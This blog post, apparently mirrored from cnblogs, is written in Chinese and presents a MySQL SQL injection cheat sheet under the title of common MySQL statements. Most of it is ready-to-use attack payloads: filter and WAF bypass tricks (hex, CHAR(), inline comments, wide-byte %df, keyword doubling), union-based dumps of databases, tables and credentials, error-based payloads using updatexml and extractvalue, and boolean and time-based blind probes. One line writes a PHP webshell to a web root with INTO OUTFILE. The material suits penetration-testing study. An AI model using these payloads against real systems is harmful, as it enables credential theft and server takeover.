zoukankan      html  css  js  c++  java
  • MySQL常用语句

    借我一束光照亮暗淡,借我笑颜灿烂如春天。

    MySQL常用的基础知识

    user():数据库用户名
    current_user:当前用户名
    database():当前数据库名
    version():当前使用的数据库版本
    @@datadir:数据库存储数据路径
    @@version_compile_os:操作系统版本
    concat(str1,str2,…):无分隔符地连接字符串,任何个参数为null,将返回null
    concat_ws(separator,str1,str2,…):含有分隔符地连接字符串
    group_concat(group SEPARATOR ';' ):连接一组字符串,后可加GROUP BY
    select * INTO OUTFILE 'file_name' :写入文件,文件不能存在,而且需要绝对路径
    ASCII():返回字符的ASCII码值,ord()也是
    CHAR():把整数转换为对应的字符
    length():获取字符串长度
    left(str,n) 从左开始提取n个
    BENCHMARK(count,func())
    rand(int) :以int为种子生成伪随机数,没有int则为0-1
    floor() :向下取整
    count() :统计个数
    hex()unhex():用于hex编码解码
    load_file():以文本方式读取文件,在 Windows 中,路径设置为 \\
    into outfile:写入文件,select '一句话木马' into outfile "/var/www/html/test.php"
    extractvalue() 从xml中提取数据
    列出当前数据库中的表:UNION SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE version=10; MySQL 4版本时用version=9,MySQL 5版本时用version=10

    常见字符编码

    0x25---%
    0x27---'
    0x26---&
    0x22---"
    0x2c---,
    0x20---空格
    0x23---#

    剩下的看ASCII表 这个比较好看

    关于绕过

    行间注释: -- #
    注:URL中用--+ +在URL被URL编码后会变成空格
    行内注释: /*注释内容*/
    绕过引号限制:

    • hex 编码
      SELECT * FROM Users WHERE username = 0x61646D696E
    • char() 函数
      SELECT * FROM Users WHERE username = CHAR(97, 100, 109, 105, 110)

    绕过字符串黑名单

    • SELECT 'a' 'd' 'mi' 'n';
    • SELECT CONCAT('a', 'd', 'm', 'i', 'n');
    • SELECT CONCAT_WS('', 'a', 'd', 'm', 'i', 'n');
    • SELECT GROUP_CONCAT('a', 'd', 'm', 'i', 'n');

    绕过空格过滤:+/**/双重空格回车换行符(%0a,%a0)

    宽字节(%df) 构造id=1%df%27%23,转义后id=1%df%5c%27%23 原理:看看之前的记录

    圆括号,%09,%0a,%0b,%0c,%0d

    绕过union,select等关键字过滤:大小写双写(uniounionn,unionunion)内联注释(/*!union*/)编码

    绕过and、or过滤:&&||%26%26大小写双写关键字(anandd,andand)编码

    绕过小括号被过滤,使用正则匹配,如regexp binary '^.*$'或者使用笛卡儿积,如:
    union select b.column_name from information_schema.tables a join information_schema.columns b join information_schema.columns c where 1=2

    绕过逗号过滤,'xor(select case when 2>1 then sleep(4) else 0 end limit 0 offset 1)or'

    常用注入语句

    联合查询

    //爆库
    union select 1,group_concat(schema_name),3 from information_schema.schemata
    //爆表
    union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()
    //爆字段
    union select 1,group_concat(column_name),3 from information_schema.columns where table_name='表名'
    //爆值
    union select 1,group_concat(字段1,0x3a,字段2),3 from 表名 //0x3a是用来分隔字段的,方便查看

    报错型注入常用语句

    双查询注入

    //爆库
    and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)
    //爆表
    and (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) //limit n,1改变n遍历
    //爆字段
    and (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),floor(rand(0)*2))x from information_schema.columns group by x)a)
    //爆值
    and (select 1 from (select count(*),concat((select concat(username,0x3a,password) from users where table_schema='security' limit 0,1),floor(rand(0)*2))x from information_schema.columns group by x)a) //0x3a表示:号,便于查看 ,同时也为了绕过过滤

    基于updatexml()的报错注入

    //爆库
    and updatexml(1,concat(0x7e,(select database())),1) //0x7e为“~”字符的16进制形式
    //爆表
    and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1)
    //爆字段
    and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1)),1) //若引号被过滤,表名可用16进制形式代替
    //爆值
    and updatexml(1,concat(0x7e,(select (concat(username,0x3a,password)) from security.users limit 0,1)),1)

    and updatexml(1,concat(0x7e,(select (concat(username,0x3a,password)) from users where database()='security' limit 0,1)),1)

    基于extractvalue()的报错注入

    和基于updatexml()的报错注入类似
    //爆库
    and extractvalue(1,concat(0x7e,(select database())))
    //爆表
    and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)))
    //爆字段
    and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1)))
    //爆值
    and extractvalue(1,concat(0x7e,(select (concat(username,':',password)) from security.users limit 0,1)))

    and extractvalue(1,concat(0x7e,(select (concat(username,':',password)) from users where database()='security' limit 0,1)))

    布尔型盲注

    //判断当前数据库长度
    and length(database())>10
    //判断数据库第一个字符的值
    and ord(mid(database(),1,1))>100

    and ascii(substr(database(),1,1))>100

    时间延迟型盲注

    //判断库名长度
    and if(length(database())>'5',sleep(5),0)
    //判断库名第一个字符
    and if(ord(mid(database(),1,1))>100,sleep(5),0)
    或使用benchmark
    and if((length(database()>10),benchmark(10000000,md5(1)),0)
    或用下面的形式绕过逗号
    SELECT CASE WHEN 1=1 THEN true ELSE false END;

    其他报错型注入

    5.5.5以上版本
    基于exp()的报错注入
    基于BIGINT溢出错误的SQL注入

    更多

    【总结】MYSQL注入

  • 相关阅读:
    优化MyBatis配置文件中的配置
    Java多线程---同步与锁
    Runtime.getRuntime().exec()
    java ---线程wait/notify/sleep/yield/join
    redis配置详情
    httpcline
    线程
    Bootstrap学习(一)
    springmvc注解配置
    salesforce上上传和导出.csv格式文件
  • 原文地址:https://www.cnblogs.com/clwsec/p/15679826.html
Copyright © 2011-2022 走看看